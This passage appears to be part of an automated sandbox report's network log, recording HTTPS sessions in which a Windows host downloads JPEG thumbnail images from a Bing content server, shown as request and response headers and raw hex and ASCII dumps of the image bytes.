2025-01-16 16:20:23 UTC	16384	IN	Data Raw: f3 db 8a 90 27 42 07 53 52 64 54 4b fa 53 d4 03 40 99 2a b7 d2 9e a7 0b eb 51 29 f4 f6 fa d4 88 70 d9 ef fd 29 34 22 45 39 e9 e9 52 27 63 fd 38 a8 94 e7 91 eb f8 54 8a 73 fa 0a 56 02 40 71 f8 d3 d4 e7 9f 4a 8c 73 c1 a7 83 f9 d2 b0 0f eb c0 6e 73 f8 d1 f8 52 03 8c d2 af 4f c3 bd 3b 00 75 6e 3a d2 f4 6e 3a d2 1e 57 d3 de 8c f6 ed c5 2b 00 2d 27 4e 09 e2 97 a7 3d f1 db ad 26 7e 6f 6a 10 03 60 7d 69 54 fa fd 69 a5 b3 c1 fa 66 94 67 fc 8a 60 04 f4 fe 74 60 6e f6 e9 4b 91 b8 7f 5a 4f e1 e7 18 a0 00 f3 9f 7f 43 44 71 34 d3 2c 49 b7 73 1d a3 71 c0 ce 78 e7 9a 30 7a 00 5b 3f c3 8c ff 00 2a ee fe 15 78 0b 52 d6 f5 81 24 b6 d2 b5 ac 0e 8c f3 da ca 92 b4 04 9f bc c8 a4 92 07 42 08 1f a1 ab 84 1c 9e 83 4a ee c6 77 85 be 1e eb 9a f2 dc 1b 2b 72 c6 dc 85 91 57 2c 62 6c Data Ascii: 'BSRdTKS@Q)p)4"E9R'c8TsV@qJsnsRO;un:n:W+-'N=&~oj`}iTifg`t`nKZOCDq4,Isqx0z[?xR$BJw+rW,bl
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: 6c d4 a4 58 d3 e4 92 27 2a 4e 63 08 09 07 a1 3c 1a d6 bf 9a 2b e8 e1 81 3c bd ee 46 ed 8b f7 73 d7 73 1e 4f d3 a5 63 09 19 2e c0 40 0a a8 c7 cc 32 3a 7a 55 bd 25 83 ea 31 95 50 33 20 e1 6b ad 9c 88 fa 4b f6 6d f0 d4 4f a6 ab 8c c2 b1 02 aa ea 46 f6 7c f2 79 e3 8e 9c f0 31 de bd df 44 f8 75 18 4f b6 dd ea 61 cc a4 b8 56 95 cc 80 0f ef 33 31 dc 49 f6 0b f9 57 80 fc 3e d5 c6 8d a4 c1 6f 34 46 29 1a 41 b5 8f 01 46 3d c8 c1 27 bf 3c d7 bf fc 37 f1 06 ad 3d a4 4e d3 5b cd 0a a3 3e 1b 11 ee 00 e7 71 60 30 00 eb 93 c8 1f 9d 67 4e c9 85 58 9e 43 f1 c3 cb 9a e2 ea df 4f 82 46 54 90 a3 4f 23 3b 9c a8 e8 58 e1 10 63 f3 e3 24 f1 5e 37 71 05 c5 bb 01 3c 12 47 91 91 bc 63 23 d7 fc 2b e8 af da 3b e2 3e a6 6d fe c5 a2 6a 77 9b 95 cf 98 d0 c4 1a d8 70 38 42 e0 9e 9c e4 01 Data Ascii: lX'*Nc<+<FssOc.@2:zU%1P3 kKmOF\|y1DuOaV31IW>o4F)AF='<7=N[>q`0gNXCOFTO#;Xc$^7q<Gc#+;>mjwp8B
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: 73 42 f1 de 86 e2 9b d6 a0 91 d9 e8 28 cf 7a 33 d4 51 ef f9 d0 01 92 29 18 d2 72 3a d2 74 fa d2 01 69 33 f2 e6 8e bd 7b d3 5b d2 98 01 3d 28 ce 5b 1d a9 08 a1 41 db 9a 0a 43 bf 8a 9a 4e 7e 94 74 e8 68 cf 5c 0e 69 12 29 3d 31 e9 c5 28 f6 a6 e0 fe 54 be f4 00 f5 39 ff 00 eb d3 95 a9 8a 31 d7 3f 5a 76 7b d2 15 89 01 1b 71 d4 9a 72 9f 5e 6a 20 7e 5c d3 81 ce 33 4d 0c 95 5b d3 8c 53 bf 87 da a3 5c f4 ed 4f 56 f9 7d bd 69 80 b9 f9 b1 ef 4e 19 1c 53 47 1c e2 97 38 e9 8f 7a 44 8e 07 e6 cd 38 1e 84 9f 6a 62 9f fe b5 2f d2 98 21 72 07 4e 29 3a d2 f5 eb fa 52 60 fe 55 25 08 c3 a9 3f 85 34 fa fa f5 a7 1e c6 91 b9 a0 92 36 3f fe aa 63 7b 77 a7 b1 ed db d2 98 78 e2 82 86 37 af a7 4a 61 1f 35 3d 85 34 8c fd 71 40 09 80 7f 2a 6f f1 71 d2 9d cd 34 8c f4 eb 4c 04 ce 0f 34 Data Ascii: sB(z3Q)r:ti3{[=([ACN~th\i)=1(T91?Zv{qr^j ~\3M[S\OV}iNSG8zD8jb/!rN):R`U%?46?c{wx7Ja5=4q@*oq4L4
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: d6 30 1e 36 56 c1 dd 13 74 c8 39 f9 4e 08 e4 73 da 6f 6b a0 b5 d1 62 3f 11 c3 ab 69 e1 ed 26 36 1a ce 9b b6 1b bb 29 06 f5 9e 20 a4 6e 88 e7 24 63 b1 cf 7f 5e 71 67 ba 61 24 d2 c5 3c 87 63 9f 3e d2 59 be 68 d8 7f 14 44 f3 8e 7a 13 f9 63 90 e8 d6 76 be 2f b2 bd 9c b1 b7 fb 40 8f cf 5d d9 56 ce 36 b0 03 92 33 db 90 71 d7 26 aa 78 da c8 d9 49 1d b5 cd c2 bb 92 24 12 ab 02 1d 7a 0c 11 e9 c1 c7 71 e9 c8 0d 6e 2d 4e a6 e3 5a 5b 8d 29 6d 8d ce e5 92 dd 27 58 89 25 49 04 a3 63 3c ab 01 83 f4 ef 53 e8 17 b1 4d 6b 73 1d cc 52 43 05 dc 4e 86 37 c9 55 60 72 4a fb 63 9d a4 1c 01 c7 40 0f 0b a5 cb 69 3d f2 69 97 57 0c fb 99 96 de 58 9b 12 a9 23 85 c1 3c 90 78 ed 91 5d 87 81 6f ef 74 65 f2 2f ad 3e dc 22 90 34 53 a0 04 49 11 19 da e8 7b 83 c8 3d 47 3c e3 22 9b d1 04 55 Data Ascii: 06Vt9Nsokb?i&6) n$c^qga$<c>YhDzcv/@]V63q&xI$zqn-NZ[)m'X%Ic<SMksRCN7U`rJc@i=iWX#<x]ote/>"4SI{=G<"U
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: 84 89 36 57 72 36 73 91 c5 6b e9 cb 6f 38 0d b7 6d c1 c0 75 5e 03 8e cd fd 31 fe 45 82 6d 27 b6 f3 22 0b f2 80 59 49 e3 23 8c 83 cf f9 f5 e0 d3 62 82 3b 88 7c fb 6c c6 41 01 b2 32 a1 8f 1b 58 ff 00 74 fa f6 3e b8 a9 f6 97 2d 52 6b a8 c8 ec ee 0d 9d c4 36 f1 81 71 06 1b 61 1b 59 b0 79 04 7d 3f 0e 9d 2a d6 81 73 3c b6 61 ed ae 44 57 96 a4 b6 c0 41 60 07 53 b4 e3 70 3e c4 9f 6a b1 11 54 da d7 31 94 96 31 90 ec 48 20 63 d4 74 c7 4c 82 45 43 a8 db db 5d 3c 77 11 24 51 4c 00 1e 62 10 aa cc 06 7a f4 c9 1d b8 cf b1 a5 cc 0e 16 66 94 33 45 3a 25 e2 19 2d e6 18 dd 1c 32 65 1b 07 86 53 d5 70 7b 1e 95 06 b3 65 f6 b6 17 2c 03 92 37 6f 57 01 b8 19 f9 97 1d 7d c7 5e 7a f4 19 46 09 cc 91 4f 10 36 d7 30 36 1b 00 ed 23 bb 0f a8 fc ea f4 97 2d 1d cd bd cb 9c 32 31 57 da 71 Data Ascii: 6Wr6sko8mu^1Em'"YI#b;\|lA2Xt>-Rk6qaYy}?*s<aDWA`Sp>jT11H ctLEC]<w$QLbzf3E:%-2eSp{e,7oW}^zFO606#-21Wq
2025-01-16 16:20:23 UTC	16069	IN	Data Raw: ca f2 c9 1a 91 b3 08 c1 37 02 49 07 3d f9 19 1c 74 af 37 d6 f4 e4 bb f1 f4 96 0f 3b 47 39 98 a2 e3 90 8a aa 30 58 83 dc 71 8e bd 6b db c1 57 bb 6d f4 3c 5c 75 1b 41 28 f5 66 66 a1 0c 90 68 b0 c3 04 7f bd 20 19 9b 3f 75 5b 90 08 1e df ae 7f 0e 76 d2 c2 35 90 5c ca e0 46 64 0c 58 8e 8a 00 27 f4 ae e7 c7 96 12 da c8 a8 09 09 23 48 e8 fb 72 48 c9 08 0e 3a 70 48 f6 fc 6b 17 c6 b6 d6 fa 67 87 f4 eb 70 24 3e 74 cc d2 96 03 92 bb 43 74 f4 3c 7e 15 ed e1 ab f3 45 5b a9 e1 e2 a8 72 b7 7e 87 25 33 99 a3 bb 9d 1b e4 12 b2 44 a7 93 8f 5f cb 35 16 83 66 e6 39 67 0c 10 15 20 31 fe 10 78 27 f2 cd 5c b6 00 5a cb 28 03 3f 75 47 6e 73 9f f0 ad 3d 17 4e f2 f4 99 d8 8f 96 34 01 b3 fd d6 e0 8c fb 1f f3 c5 7a 1e d2 c8 f2 fd 93 6c e7 ae 95 1e 3f 2a d8 b9 46 6c 06 6c e5 81 f6 ae Data Ascii: 7I=t7;G90XqkWm<\uA(ffh ?u[v5\FdX'#HrH:pHkgp$>tCt<~E[r~%3D_5f9g 1x'\Z(?uGns=N4zl?*Fll
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: e4 f6 c6 2b 67 c7 7e 27 72 f7 09 01 b7 94 27 53 23 0f 91 73 8f 5c 81 ed de bc 3f c6 fa f6 a7 7f 7a f0 5a c8 5c 06 20 05 60 8b c7 e3 5c 91 48 f5 b6 2a 6b 57 ba 4f 98 62 17 12 64 3f 3e 64 7b 8f 5e c0 01 93 ec 2b 63 c3 37 e8 8a f6 fa 14 ec 92 dc c4 61 de ff 00 23 ed 27 90 1b 04 2e 71 d4 0e 9f 5a e3 61 b1 9d 1d ae 6e e7 dc c7 f8 53 e7 27 f1 06 bd 43 e0 5f 86 6d b5 2d 72 d4 cf 69 23 bb be 55 36 9c 15 f5 66 24 0c 0f ee 8e 4f 39 c0 c0 3a 5a e8 87 26 95 ec 7b c7 ec 5f e1 cf 10 69 18 7b c9 ee 27 82 56 dc cc f2 6e 45 f5 c1 1f 7b a9 19 24 93 ec 00 cf d1 ec 91 4f 21 07 2c 10 f0 3d 08 15 8d e1 bb 44 d3 34 2b 78 2d a3 58 d5 23 00 05 01 70 48 e8 00 e0 56 d6 93 b1 6d d5 10 72 46 58 9e 49 27 d4 d5 ba 4a 4a c7 23 ac f9 ae 70 5e 3f d2 23 68 1a e4 c6 ca cd 98 89 07 27 69 27 Data Ascii: +g~'r'S#s\?zZ\ `\H*kWObd?>d{^+c7a#'.qZanS'C_m-ri#U6f$O9:Z&{_i{'VnE{$O!,=D4+x-X#pHVmrFXI'JJ#p^?#h'i'
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: 51 dc ca 12 f1 25 84 2d c5 bc e0 a8 39 38 7e dc 91 ca 91 e8 47 a7 4a bb 7f 05 ac 7a 7a cb 18 90 46 c4 ab 86 cf ee 64 c6 08 90 75 c1 1c 64 74 c7 7e 95 71 21 ef 73 7f e1 3f 89 67 f1 2e 93 e5 45 24 ab 7d 66 43 c6 21 90 79 8a 40 e1 90 11 f3 60 67 81 ce 33 8c e2 ad 7c 4c bb 8a ff 00 4a 8e 7d 46 fc c4 ce c8 26 1e 41 f2 96 41 91 bc a8 24 ae 47 f1 01 ea 0f 61 5e 73 e0 d9 ff 00 b1 7c 4e b7 10 15 59 a3 60 4a 45 29 56 db 9c 86 56 c6 18 7b e0 8a f5 af 8b d6 09 aa 78 26 3d 58 45 2c b6 97 91 81 f6 94 8c 17 b6 97 9c 86 c1 07 69 3c 75 60 0e 31 8e 95 ac 65 7b a6 44 a3 69 26 86 78 52 ca 78 b4 e8 e5 4b d5 44 83 0f 63 3a 80 e8 b8 1c 8d c0 8c a9 3d 41 01 80 3d fa 57 4b e2 d9 e7 bb d1 da 4d 46 d2 48 2e 00 0a c5 24 c9 24 74 da 4e 37 63 a8 3c 3f fb dd b8 5f 82 37 f7 d1 69 2f 63 Data Ascii: Q%-98~GJzzFdudt~q!s?g.E$}fC!y@`g3\|LJ}F&AA$Ga^s\|NY`JE)VV{x&=XE,i<u`1e{Di&xRxKDc:=A=WKMFH.$$tN7c<?_7i/c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49752	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:23 UTC	346	OUT	GET /th?id=OADD2.10239402415503_1IET5OVL073FDA0RX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2025-01-16 16:20:23 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 352481 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 061163AA55174168B97F3F6C91EB1C3D Ref B: EWR311000107033 Ref C: 2025-01-16T16:20:23Z Date: Thu, 16 Jan 2025 16:20:22 GMT Connection: close
2025-01-16 16:20:23 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 30 3a 32 34 20 31 31 3a 30 33 3a 32 39 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1 r2i``Adobe Photoshop 25.12 (Windows)2024:10:24 11:03:298C
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: ef b4 fd 0d 7d 03 fb 3f 7e d3 ba ee 85 a8 41 a1 7c 4c 9f fb 42 c2 76 02 3d 59 97 69 87 fd ff 00 f1 af 07 7b 59 ed be 79 2c da 30 cb f2 b3 2f 7a 6b da f9 f0 b7 c8 ce 19 70 d5 bc 71 12 5b bb a3 cf af 95 e1 ea af 86 cf ba 3f 4d b4 ab cb 3d 53 4b 83 53 d3 2e 56 e6 d2 e5 43 c5 2c 6d b9 58 1a 9d 79 e0 d7 c1 7f 08 fe 31 78 c3 e1 96 83 67 65 a4 5e 2d d5 8c 52 6c 6d 3e e7 e6 55 4f 55 6a f7 3f 03 fe d6 de 0d d4 75 44 d3 fc 53 a7 cb a3 b4 d8 55 ba fb d1 b1 3e a7 b5 74 46 49 ec cf 9c ad 82 ad 49 bb c6 eb b9 f4 0e 07 fc 0a 86 fb d5 0e 97 7b 65 aa 69 b1 5f 69 b7 70 dd 5b 4a b9 59 22 6d cb 8a 9f f8 aa 8e 68 b4 d6 80 d4 7f 0d 2a f1 43 71 40 68 26 0d 2e 3b 9a 17 de 8c ff 00 df 34 98 98 01 9a 31 96 a3 18 a0 f1 f5 a4 82 20 46 ea 45 a7 2a 8a 31 45 d0 d8 94 ea 45 f4 a3 ff 00 Data Ascii: }?~A\|LBv=Yi{Yy,0/zkpq[?M=SKS.VC,mXy1xge^-Rlm>UOUj?uDSU>tFII{ei_ip[JY"mhCq@h&.;41 FE1EE
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: d4 6e ed 6f a3 9e 58 17 cb 55 56 fe 32 71 80 7b d7 95 f8 6e 65 85 a6 bd bd 8a 39 24 95 f7 ff 00 ba 3d 2b 91 d7 3c 75 e1 47 bc 83 47 b1 d4 d6 5b 6b 11 b2 49 d7 ee cd 27 73 f4 cd 49 75 e3 5f 0c 43 0a c4 75 35 53 fd dd a7 75 72 d5 c2 62 1b fe 1b fb 8e ec b2 96 03 0d 42 51 55 97 bc f5 d5 2d 11 b1 af 3f da e6 92 45 f9 77 35 76 9e 0c b9 d4 fc 4f 66 9e 1e d3 1e db 4e d3 ad 50 7d aa 44 ea ff 00 e3 5e 46 3e 20 f8 4a 4b e8 ad 0d d5 cf 92 cd 89 67 58 3e 55 1f 4e f5 b5 f0 27 c5 d3 a6 bd a8 78 b1 2c 5a 3f 0e 5a f9 90 34 d2 c9 b7 ce 23 a1 fc 3b d7 46 13 2a c6 c9 fc 0e c2 cd f3 9c b6 38 66 95 44 e7 1f 87 ae bf 97 a1 ea 7a 2f c2 b3 17 8c 13 55 d4 2e 63 9e da cf f7 90 41 12 f3 21 f7 35 85 e3 cb bb fd 53 5a 9e e6 7b 6f 21 62 fd dc 63 ee ac 6a 2b cf fe 25 fe d3 1a f5 fc 92 Data Ascii: noXUV2q{ne9$=+<uGG[kI'sIu_Cu5SurbBQU-?Ew5vOfNP}D^F> JKgX>UN'x,Z?Z4#;F*8fDz/U.cA!5SZ{o!bcj+%
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: d1 7f bb 53 21 dd 1d 47 20 3b b0 7a d3 a3 f9 78 a2 e5 5b 42 4c 01 d4 d0 a9 d8 b5 39 47 7a 24 52 7f 8a 95 ee 03 55 80 ea d5 e8 bf 06 74 15 91 9b 58 91 9b f7 7f 24 6b fd 6b cf 14 0f 98 7c d9 af 66 f8 4a 8b 07 86 60 42 cd 86 e5 ab c7 ce ab 4a 18 66 a2 f7 3e ab 84 b0 90 ad 8f 4e 6a ea 3a 9d 4c 60 ba ed 0b c2 d3 94 ed e2 91 a4 10 af 0d b7 75 47 e7 46 5b 01 97 3b 6b e1 f5 3f 60 d1 0e 63 f2 e7 bd 37 96 fa 54 73 46 eb 27 de 56 1f ec d3 90 e5 79 a0 6b 52 55 38 e9 f3 54 b0 8d dd 5a a0 8f 1d 2a d3 32 24 7f bb dc c6 82 65 a1 24 d2 e2 d7 c8 4f 96 36 fb d5 59 82 46 df 22 ff 00 c0 69 a5 f1 1e 2a 38 48 dd cb 6d db 4a c4 28 a4 5a c1 5e 5d bf e0 35 0b 30 1b ce e6 5d b8 3b a9 48 2e d8 dd bb ff 00 65 a8 a6 60 19 96 6f bb 1f dd 6a 63 45 e8 64 22 15 95 1b 69 65 ab 4a c0 ab 49 Data Ascii: S!G ;zx[BL9Gz$RUtX$kk\|fJ`BJf>Nj:L`uGF[;k?`c7TsF'VykRU8TZ2$e$O6YF"i8HmJ(Z^]50];H.e`ojcEd"ieJI
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: 27 9d 54 c6 bf 75 bf 8a b0 b4 b9 83 37 ce ac aa df de fe 2a ea b4 78 62 fb 2b 18 fe 63 fd da e7 c6 56 4a 92 8b 47 56 59 83 94 b1 1e d5 3f 91 9d af 69 fe 6c 8b 3a f9 6b e5 73 b5 b9 aa b1 b6 f5 de 56 35 2d fc 31 ae d5 fc ab a0 ba b5 b8 6b 76 12 40 d1 34 9f c2 cb f3 62 b1 2e ac dd 37 6c e8 bf 7a b9 28 d7 72 87 25 cf 43 15 84 51 ad ed 14 75 62 79 0f 70 df bd 89 64 89 7f e7 9d 5b 4d 2a dc c3 80 bc 56 95 85 c4 b1 69 30 5b 79 50 2f 96 a7 e6 58 fe 66 cf 76 3d e9 73 b9 79 ac eb 57 95 ed 16 74 61 b0 71 b5 e6 8c 6d 4a 01 06 9f e4 c9 f2 af 55 68 d7 6d 61 36 a1 a9 e9 f1 b1 8a 4f 32 26 fe f7 55 ae b2 f8 24 91 b4 52 2e f1 58 7a c5 b0 92 d7 01 7e 55 fb d5 d3 85 ac 9e 93 d4 f3 f3 0c 1c ad cd 47 4b 1e f9 fb 11 6a ad ad 78 3f 5c d0 f5 3d 32 46 d3 ee 1f cb 59 d5 b7 75 1c ae Data Ascii: 'Tu7xb+cVJGVY?il:ksV5-1kv@4b.7lz(r%CQubypd[MVi0[yP/Xfv=syWtaqmJUhma6O2&U$R.Xz~UGKjx?\=2FYu
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: cc df 51 64 97 7e dd ed ba 9c 9e 5b af 32 f9 7f 2d 43 70 83 6c 64 3f 3f c4 b4 8f 21 75 58 f6 fd d5 a9 48 d3 9d 5a c1 34 52 79 98 4f 98 7f 79 69 ca 82 36 c6 ed c5 7e f5 2a 89 3c 9c a2 b3 76 dc bf 76 96 d2 ce 5b 89 3c b4 97 6b 37 f7 ab 42 1c 6f ad cb 96 b7 37 d0 c3 93 75 23 47 bb 3e 5c 78 aa 5a 95 ed dd e4 98 b8 95 9a 56 6f bd 26 77 63 b0 ad 8b 8b 38 34 e6 8e da 2b e8 2f a4 93 06 49 22 ce d8 cf a7 35 3c d7 97 8d 1f d8 e4 89 54 ff 00 0a ac 61 77 51 4e ae b6 b1 8d 5a 71 e4 ba 3b df d8 c3 4c 97 fe 12 ad 63 51 b9 b1 59 56 de 05 4b 6b b6 8c fe ec 9f bc 14 f4 fa d7 a8 7c 66 f1 1e 95 a1 78 7d ed ef 96 e6 49 ee 93 10 46 9c 23 1e d9 f5 02 b0 7e 0a f8 53 c4 be 1f f0 b3 5c df 6a f0 da e9 f2 fe fe 5b 55 52 c7 9e ec dd b8 ec 2b 85 f8 c9 e2 5b 6f 13 78 bb 3a 77 99 f6 2b Data Ascii: Qd~[2-Cpld??!uXHZ4RyOyi6~*<vv[<k7Bo7u#G>\xZVo&wc84+/I"5<TawQNZq;LcQYVKk\|fx}IF#~S\j[UR+[ox:w+
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: 1e 7f c2 33 1c 9a df 89 1e 3b ad 6a e5 8b 6d 8f e6 4b 51 fd d1 9e a7 de ad 61 f9 2d 24 73 d7 cc 63 0a 7c 8d 68 65 fe cd bf 0b d7 c2 56 b7 3e 23 d4 ff 00 7b a8 6a 71 a7 91 1c 8b b4 da c6 3b 7b 31 ef 5e 91 a8 79 f2 dc 2c 71 f4 fe 2a bb 71 3e f5 c9 6d df dd a8 a1 65 da f9 6e 7f 86 bb 21 29 de ec f9 7a f2 55 1b 31 75 59 a2 b4 85 ad e3 fe 2f bc df 4a c7 10 f8 96 f2 e9 46 8f a6 c7 2d aa a9 2f 3d cc db 23 5c 7e a6 a5 f1 42 5c aa c9 f6 78 96 59 23 52 56 36 6d ab 21 ec 33 5c 26 b5 a7 fc 63 f8 8b 0a e9 5f 63 b4 d0 74 fb 35 c4 8b 6d 33 a4 77 07 dc 8e 5b f0 ae ca f8 88 d1 a4 ac f5 67 0e 0f 03 3c 4e 21 ca 6d 46 11 ea f6 38 8f 8a 3e 28 d6 35 5f 13 2d b4 f7 30 ca 2c 58 db 47 f6 26 2c b3 12 70 71 9e b5 eb 7f 03 7e 12 8d 12 e1 3c 51 ae df 47 fe ab 7f 91 bb 09 07 7c b1 ee Data Ascii: 3;jmKQa-$sc\|heV>#{jq;{1^y,q*q>men!)zU1uY/JF-/=#\~B\xY#RV6m!3\&c_ct5m3w[g<N!mF8>(5_-0,XG&,pq~<QG\|
2025-01-16 16:20:23 UTC	16069	IN	Data Raw: 3d ac 3e 65 46 e9 39 af bc da 56 4d bb 87 cb b7 1f 2d 39 76 49 1b 18 ff 00 86 b2 e1 d4 ad dd 5b 7c aa ac bf 79 6a 75 9e 0d b9 8d 97 1d 37 6e fb d5 c6 e9 4a 3b a3 d6 8e 22 95 45 ee c9 7d e4 de 58 2d b1 db 68 6e 37 7f 76 ab be 9e 86 16 27 cb 62 df c3 53 ab fc bc ae e2 df c5 ba a4 b7 31 fd ab 12 ae e5 db f7 55 b6 d3 52 94 76 61 2a 74 e7 ba 31 a4 b0 0d 26 c0 bb 7b 55 77 b7 b8 86 6c ee 6c c7 fc 2d f3 6e ae 8a eb ec ce df b9 83 cb 0b fe d6 ea af 20 49 37 07 fd db 2f dd dc b5 d3 47 11 3b 9e 56 2b 2f a7 2d 63 a1 1c 7e 24 bb 93 49 5d 3e 6b 6f 2a d5 5b 3b 96 3d cd bf d7 3d 6a 38 26 82 49 98 c1 78 b2 05 fb ab b4 ab 66 ae 5a c3 72 ec b1 46 b0 37 9a db 77 34 1c fe 02 b5 f5 4f 0f 26 9b e1 b8 cd e7 88 d6 4b e9 5c 18 34 98 2d a3 66 58 fb b4 92 0e 41 f6 ae a7 4a 94 a3 cd Data Ascii: =>eF9VM-9vI[\|yju7nJ;"E}X-hn7v'bS1URvat1&{Uwll-n I7/G;V+/-c~$I]>ko[;==j8&IxfZrF7w4O&K\4-fXAJ
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: 18 e3 ff 00 1a b0 8a 56 1d bf 74 af de a8 a4 b4 8e 56 57 95 9b 72 af ca b5 9f 36 a6 de ca 56 29 2c 77 08 ac 53 e6 fe ee ef e2 a2 4b 7d 46 4f be 9b bf e0 55 7e 4c c7 1a e3 ee 7d d5 a7 33 16 5c 9f 94 ee a7 ed 19 3f 57 4d 6a cc 68 ed ef 44 d8 75 da 37 7c db 9a af 47 6f e7 2e 0b 6d 1f ec fc b5 6d 62 cb 72 fb 85 4c b0 c4 ac a0 7c bf f0 1a 52 ac d9 70 c2 a5 b1 59 22 b7 81 73 e5 b4 8d b7 ee ab 7c b5 2d bf 9e d2 2b 3e d8 e3 da 7f 75 1f cb f9 9a 7c 9b 37 30 0b ba 9d 0c 27 a8 ac 5c ae 74 46 1a 86 dd b1 fd d5 51 fa d3 15 07 6d cc 37 7c db aa 6f dd 96 c4 8c ab fe f5 34 3c 66 4c 24 bb bf bd f2 d2 b9 af 50 f2 a3 91 98 05 e7 f4 a9 23 de 8d e5 f9 4b b7 ff 00 41 a7 a3 aa 6e 03 e6 2d fc 54 e0 fb e4 c5 4b 6c d2 28 45 60 17 ef 7c df dd a1 98 0e b5 3a ed e8 76 d4 53 18 fe 62 Data Ascii: VtVWr6V),wSK}FOU~L}3\?WMjhDu7\|Go.mmbrL\|RpY"s\|-+>u\|70'\tFQm7\|o4<fL$P#KAn-TKl(E`\|:vSb
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: f2 6a 39 75 2b 7e 9b 5b fe fa ae 32 e3 5e 07 a4 fc 55 66 d7 23 1c ee a8 59 7c db d8 a9 71 0d 18 ad 19 da cd aa 44 8c c6 3e bd 36 d5 6b 9b 93 22 e7 e6 c7 5a e3 ff 00 b6 c7 65 56 2d fe d5 4d 0e b9 27 cc 0f 96 a7 fd ea d1 60 26 b6 46 4f 3e a5 2d e4 75 b6 d7 8a ab 9f 29 bf da 6d d4 f9 26 81 b9 76 dd b7 fb d5 c7 4b ab 07 e5 db 9a 86 4d 5f 6f 1b b8 a3 ea 33 64 bc fa 9c 15 af 73 af 92 ea 38 d9 9b 72 d4 2d aa ca 24 e2 26 51 fe f0 ae 56 4d 62 0e 9b b9 ff 00 66 93 fb 6a 2d b8 dc d5 a7 d4 65 d5 18 3c fa 0f ed 1d 84 7a 8e d8 d8 9f de 16 fe f3 7d da 81 af 9a 4e 8a ab 5c 9f f6 9c 7b 72 25 a3 fb 48 bf fc b7 e3 fe f9 aa 58 19 76 33 96 7d 4e df 11 d8 25 c0 5d a7 cd 55 2b 53 43 a8 85 dc 59 95 8f f7 ab 85 5d 47 2d fe bf 8e 9b 6a 44 d5 11 3a b5 0f 2f 93 22 39 f4 56 c7 68 da Data Ascii: j9u+~[2^Uf#Y\|qD>6k"ZeV-M'`&FO>-u)m&vKM_o3ds8r-$&QVMbfj-e<z}N\{r%HXv3}N%]U+SCY]G-jD:/"9Vh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49756	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:24 UTC	375	OUT	GET /th?id=OADD2.10239402415504_17DDWI2WCHUD2N4TB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2025-01-16 16:20:24 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 380972 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, 